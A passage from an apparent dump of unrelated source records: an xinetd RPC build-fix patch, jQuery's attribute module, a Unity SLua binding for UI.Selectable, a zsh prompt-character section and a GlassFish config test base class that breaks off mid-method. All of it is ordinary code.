support.\n\nThe content of this patch was copied from the OpenWrt project:\nhttps://dev.openwrt.org/browser/packages/net/xinetd/patches/003-rpc_fix.patch\n\nSigned-off-by: Danomi Manchego <danomimanchego123@gmail.com>\n\n--- a/xinetd/confparse.c\n+++ b/xinetd/confparse.c\n@@ -745,7 +745,7 @@ static status_e check_entry( struct serv\n \t }\n }\n \n-/* #ifndef NO_RPC */\n+#ifndef NO_RPC\n #if defined(HAVE_RPC_RPCENT_H) || defined(HAVE_NETDB_H)\n if ( SC_IS_RPC( scp ) && !SC_IS_UNLISTED( scp ) )\n {\n@@ -759,6 +759,7 @@ static status_e check_entry( struct serv\n SC_RPCDATA( scp )->rd_program_number = rep->r_number ;\n }\n else\n+#endif\n #endif /* ! NO_RPC */\n {\n if ( !SC_IS_UNLISTED( scp ) ) \n"} {"text": "define( [\n\t\"../core\",\n\t\"../core/access\",\n\t\"./support\",\n\t\"../var/rnotwhite\",\n\t\"../selector\"\n], function( jQuery, access, support, rnotwhite ) {\n\n\"use strict\";\n\nvar boolHook,\n\tattrHandle = jQuery.expr.attrHandle;\n\njQuery.fn.extend( {\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tattr: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set attributes on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// Attribute hooks are determined by the lowercase version\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\thooks = jQuery.attrHooks[ name.toLowerCase() ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\treturn value;\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = jQuery.find.attr( elem, name );\n\n\t\t// Non-existent attributes return null, we normalize to undefined\n\t\treturn ret == null ? undefined : ret;\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" &&\n\t\t\t\t\tjQuery.nodeName( elem, \"input\" ) ) {\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name,\n\t\t\ti = 0,\n\t\t\tattrNames = value && value.match( rnotwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( ( name = attrNames[ i++ ] ) ) {\n\t\t\t\telem.removeAttribute( name );\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Hooks for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\telem.setAttribute( name, name );\n\t\t}\n\t\treturn name;\n\t}\n};\n\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = function( elem, name, isXML ) {\n\t\tvar ret, handle,\n\t\t\tlowercaseName = name.toLowerCase();\n\n\t\tif ( !isXML ) {\n\n\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\thandle = attrHandle[ lowercaseName ];\n\t\t\tattrHandle[ lowercaseName ] = ret;\n\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\tlowercaseName :\n\t\t\t\tnull;\n\t\t\tattrHandle[ lowercaseName ] = handle;\n\t\t}\n\t\treturn ret;\n\t};\n} );\n\n} );\n"} {"text": "using System;\nusing SLua;\nusing System.Collections.Generic;\n[UnityEngine.Scripting.Preserve]\npublic class Lua_UnityEngine_UI_Selectable : LuaObject {\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int IsInteractable(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tvar ret=self.IsInteractable();\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int FindSelectable(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.Vector3 a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tvar ret=self.FindSelectable(a1);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int FindSelectableOnLeft(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tvar ret=self.FindSelectableOnLeft();\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int FindSelectableOnRight(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tvar ret=self.FindSelectableOnRight();\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int FindSelectableOnUp(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tvar ret=self.FindSelectableOnUp();\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int FindSelectableOnDown(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tvar ret=self.FindSelectableOnDown();\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,ret);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnMove(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.AxisEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnMove(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnPointerDown(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.PointerEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnPointerDown(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnPointerUp(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.PointerEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnPointerUp(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnPointerEnter(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.PointerEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnPointerEnter(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnPointerExit(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.PointerEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnPointerExit(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnSelect(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.BaseEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnSelect(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int OnDeselect(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.EventSystems.BaseEventData a1;\n\t\t\tcheckType(l,2,out a1);\n\t\t\tself.OnDeselect(a1);\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int Select(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tself.Select();\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_allSelectables(IntPtr l) {\n\t\ttry {\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,UnityEngine.UI.Selectable.allSelectables);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_navigation(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.navigation);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_navigation(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.Navigation v;\n\t\t\tcheckValueType(l,2,out v);\n\t\t\tself.navigation=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_transition(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushEnum(l,(int)self.transition);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_transition(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.Selectable.Transition v;\n\t\t\tcheckEnum(l,2,out v);\n\t\t\tself.transition=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_colors(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.colors);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_colors(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.ColorBlock v;\n\t\t\tcheckValueType(l,2,out v);\n\t\t\tself.colors=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_spriteState(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.spriteState);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_spriteState(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.SpriteState v;\n\t\t\tcheckValueType(l,2,out v);\n\t\t\tself.spriteState=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_animationTriggers(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.animationTriggers);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_animationTriggers(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.AnimationTriggers v;\n\t\t\tcheckType(l,2,out v);\n\t\t\tself.animationTriggers=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_targetGraphic(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.targetGraphic);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_targetGraphic(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.Graphic v;\n\t\t\tcheckType(l,2,out v);\n\t\t\tself.targetGraphic=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_interactable(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.interactable);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_interactable(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tbool v;\n\t\t\tcheckType(l,2,out v);\n\t\t\tself.interactable=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_image(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.image);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int set_image(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tUnityEngine.UI.Image v;\n\t\t\tcheckType(l,2,out v);\n\t\t\tself.image=v;\n\t\t\tpushValue(l,true);\n\t\t\treturn 1;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public int get_animator(IntPtr l) {\n\t\ttry {\n\t\t\tUnityEngine.UI.Selectable self=(UnityEngine.UI.Selectable)checkSelf(l);\n\t\t\tpushValue(l,true);\n\t\t\tpushValue(l,self.animator);\n\t\t\treturn 2;\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\treturn error(l,e);\n\t\t}\n\t}\n\t[UnityEngine.Scripting.Preserve]\n\tstatic public void reg(IntPtr l) {\n\t\tgetTypeTable(l,\"UnityEngine.UI.Selectable\");\n\t\taddMember(l,IsInteractable);\n\t\taddMember(l,FindSelectable);\n\t\taddMember(l,FindSelectableOnLeft);\n\t\taddMember(l,FindSelectableOnRight);\n\t\taddMember(l,FindSelectableOnUp);\n\t\taddMember(l,FindSelectableOnDown);\n\t\taddMember(l,OnMove);\n\t\taddMember(l,OnPointerDown);\n\t\taddMember(l,OnPointerUp);\n\t\taddMember(l,OnPointerEnter);\n\t\taddMember(l,OnPointerExit);\n\t\taddMember(l,OnSelect);\n\t\taddMember(l,OnDeselect);\n\t\taddMember(l,Select);\n\t\taddMember(l,\"allSelectables\",get_allSelectables,null,false);\n\t\taddMember(l,\"navigation\",get_navigation,set_navigation,true);\n\t\taddMember(l,\"transition\",get_transition,set_transition,true);\n\t\taddMember(l,\"colors\",get_colors,set_colors,true);\n\t\taddMember(l,\"spriteState\",get_spriteState,set_spriteState,true);\n\t\taddMember(l,\"animationTriggers\",get_animationTriggers,set_animationTriggers,true);\n\t\taddMember(l,\"targetGraphic\",get_targetGraphic,set_targetGraphic,true);\n\t\taddMember(l,\"interactable\",get_interactable,set_interactable,true);\n\t\taddMember(l,\"image\",get_image,set_image,true);\n\t\taddMember(l,\"animator\",get_animator,null,true);\n\t\tcreateTypeMetatable(l,null, typeof(UnityEngine.UI.Selectable),typeof(UnityEngine.EventSystems.UIBehaviour));\n\t}\n}\n"} {"text": "#\n# Prompt character\n#\n\n# ------------------------------------------------------------------------------\n# Configuration\n# ------------------------------------------------------------------------------\n\nSPACESHIP_CHAR_PREFIX=\"${SPACESHIP_CHAR_PREFIX=\"\"}\"\nSPACESHIP_CHAR_SUFFIX=\"${SPACESHIP_CHAR_SUFFIX=\"\"}\"\nSPACESHIP_CHAR_SYMBOL=\"${SPACESHIP_CHAR_SYMBOL=\"➜ \"}\"\nSPACESHIP_CHAR_SYMBOL_ROOT=\"${SPACESHIP_CHAR_SYMBOL_ROOT=\"$SPACESHIP_CHAR_SYMBOL\"}\"\nSPACESHIP_CHAR_SYMBOL_SECONDARY=\"${SPACESHIP_CHAR_SYMBOL_SECONDARY=\"$SPACESHIP_CHAR_SYMBOL\"}\"\nSPACESHIP_CHAR_COLOR_SUCCESS=\"${SPACESHIP_CHAR_COLOR_SUCCESS=\"green\"}\"\nSPACESHIP_CHAR_COLOR_FAILURE=\"${SPACESHIP_CHAR_COLOR_FAILURE=\"red\"}\"\nSPACESHIP_CHAR_COLOR_SECONDARY=\"${SPACESHIP_CHAR_COLOR_SECONDARY=\"yellow\"}\"\n\n# ------------------------------------------------------------------------------\n# Section\n# ------------------------------------------------------------------------------\n\n# Paint $PROMPT_SYMBOL in red if previous command was fail and\n# paint in green if everything was OK.\nspaceship_char() {\n local 'color' 'char'\n\n if [[ $RETVAL -eq 0 ]]; then\n color=\"$SPACESHIP_CHAR_COLOR_SUCCESS\"\n else\n color=\"$SPACESHIP_CHAR_COLOR_FAILURE\"\n fi\n\n if [[ $UID -eq 0 ]]; then\n char=\"$SPACESHIP_CHAR_SYMBOL_ROOT\"\n else\n char=\"$SPACESHIP_CHAR_SYMBOL\"\n fi\n\n spaceship::section \\\n \"$color\" \\\n \"$SPACESHIP_CHAR_PREFIX\" \\\n \"$char\" \\\n \"$SPACESHIP_CHAR_SUFFIX\"\n}\n"} {"text": "/*\n * Copyright (c) 1997, 2018 Oracle and/or its affiliates. All rights reserved.\n *\n * This program and the accompanying materials are made available under the\n * terms of the Eclipse Public License v. 2.0, which is available at\n * http://www.eclipse.org/legal/epl-2.0.\n *\n * This Source Code may also be made available under the following Secondary\n * Licenses when the conditions for such availability set forth in the\n * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,\n * version 2 with the GNU Classpath Exception, which is available at\n * https://www.gnu.org/software/classpath/license.html.\n *\n * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0\n */\n\npackage org.glassfish.tests.utils;\n\nimport java.lang.reflect.Method;\nimport java.security.AccessController;\nimport java.security.Principal;\nimport java.security.PrivilegedAction;\nimport java.util.List;\nimport java.util.Set;\nimport javax.security.auth.Subject;\nimport javax.xml.stream.XMLStreamReader;\n\nimport org.glassfish.hk2.api.Filter;\nimport org.glassfish.hk2.api.ServiceLocator;\nimport org.junit.Ignore;\nimport org.jvnet.hk2.config.ConfigBean;\nimport org.jvnet.hk2.config.ConfigModel;\nimport org.jvnet.hk2.config.DomDocument;\nimport org.jvnet.hk2.config.Transactions;\nimport static org.junit.Assert.*;\n\nimport java.util.logging.Logger;\nimport org.glassfish.hk2.api.Descriptor;\nimport org.glassfish.hk2.api.ServiceHandle;\n\n/**\n * Super class for all config-api related tests, give access to a configured habitat\n */\n@Ignore\npublic abstract class ConfigApiTest {\n\n public static final Logger logger = Logger.getAnonymousLogger();\n \n private final Subject adminSubject = prepareAdminSubject();\n \n private Subject prepareAdminSubject() {\n final ServiceLocator locator = getBaseServiceLocator();\n if (locator != null) {\n final List<ServiceHandle<? extends Object>> adminIdentities = \n/* \n (List<ServiceHandle<? extends Object>>) getBaseServiceLocator().getAllServices(\n new Filter() {\n\n @Override\n public boolean matches(Descriptor d) {\n if (d == null) {\n return false;\n }\n final Set<String> contracts = d.getAdvertisedContracts();\n return (contracts == null ? false : contracts.contains(\"org.glassfish.internal.api.InternalSystemAdmin\"));\n }\n });\n*/ \n AccessController.doPrivileged(new PrivilegedAction<List<ServiceHandle<? extends Object>>>() {\n public List<ServiceHandle<? extends Object>> run() {\n \n List<ServiceHandle<? extends Object>> identities = (List<ServiceHandle<? extends Object>>)getBaseServiceLocator().getAllServices(\n new Filter() {\n \n @Override\n public boolean matches(Descriptor d) {\n if (d == null) {\n return false;\n }\n final Set<String> contracts = d.getAdvertisedContracts();\n return (contracts == null ? false : contracts.contains(\"org.glassfish.internal.api.InternalSystemAdmin\"));\n }\n });\n \n return identities;\n\n }\n });\n\n \n if ( ! adminIdentities.isEmpty()) {\n final Object adminIdentity = adminIdentities.get(0);\n try {\n final Method getSubjectMethod = adminIdentity.getClass().getDeclaredMethod(\"getSubject\", Subject.class);\n return (Subject) getSubjectMethod.invoke(adminIdentity);\n } catch (Exception ex) {\n // ignore - fallback to creating a subject explicitly that\n // should match the GlassFish admin identity\n }\n }\n }\n final Subject s = new Subject();\n s.getPrincipals().add(new PrincipalImpl(\"asadmin\"));\n s.getPrincipals().add(new PrincipalImpl(\"_InternalSystemAdministrator_\"));\n return s;\n }\n \n private static class PrincipalImpl implements Principal {\n private final String name;\n \n private PrincipalImpl(final String name) {\n this.name = name;\n }\n @Override\n public String getName() {\n return name;\n }\n }\n \n protected Subject adminSubject() {\n return adminSubject;\n }\n\n /**\n * Returns the file name without the .xml extension to load the test configuration\n * from. By default, it's the name of the TestClass.\n *\n * @return the configuration file name\n */\n public String getFileName() { \n return getClass().getName().substring(getClass().getName().lastIndexOf('.')+1);\n }\n\n /**\n * Returns a configured Habitat with the configuration.\n * \n * @return a configured Habitat\n */\n public ServiceLocator getHabitat() {\n ServiceLocator habitat = Utils.instance.getHabitat(this);\n \n assertNotNull(\"Transactions service from Configuration subsystem is null\", habitat.getService(Transactions.class));\n return habitat;\n }\n\n public ServiceLocator getBaseServiceLocator() {\n return getHabitat();\n }\n\n /**\n * Override it when needed, see config-api/ConfigApiTest.java for example.\n */\n public DomDocument getDocument(ServiceLocator habitat) {\n TestDocument doc = habitat.getService(TestDocument.class);\n if (doc == null) {\n doc = new TestDocument(habitat);\n }\n return doc;\n }\n\n class TestDocument extends DomDocument<ConfigBean> {\n\n public TestDocument(ServiceLocator habitat) {\n super(habitat);\n }\n \n @Override\n public ConfigBean make(final ServiceLocator habitat, XMLStreamReader xmlStreamReader,\n ConfigBean dom, ConfigModel configModel) 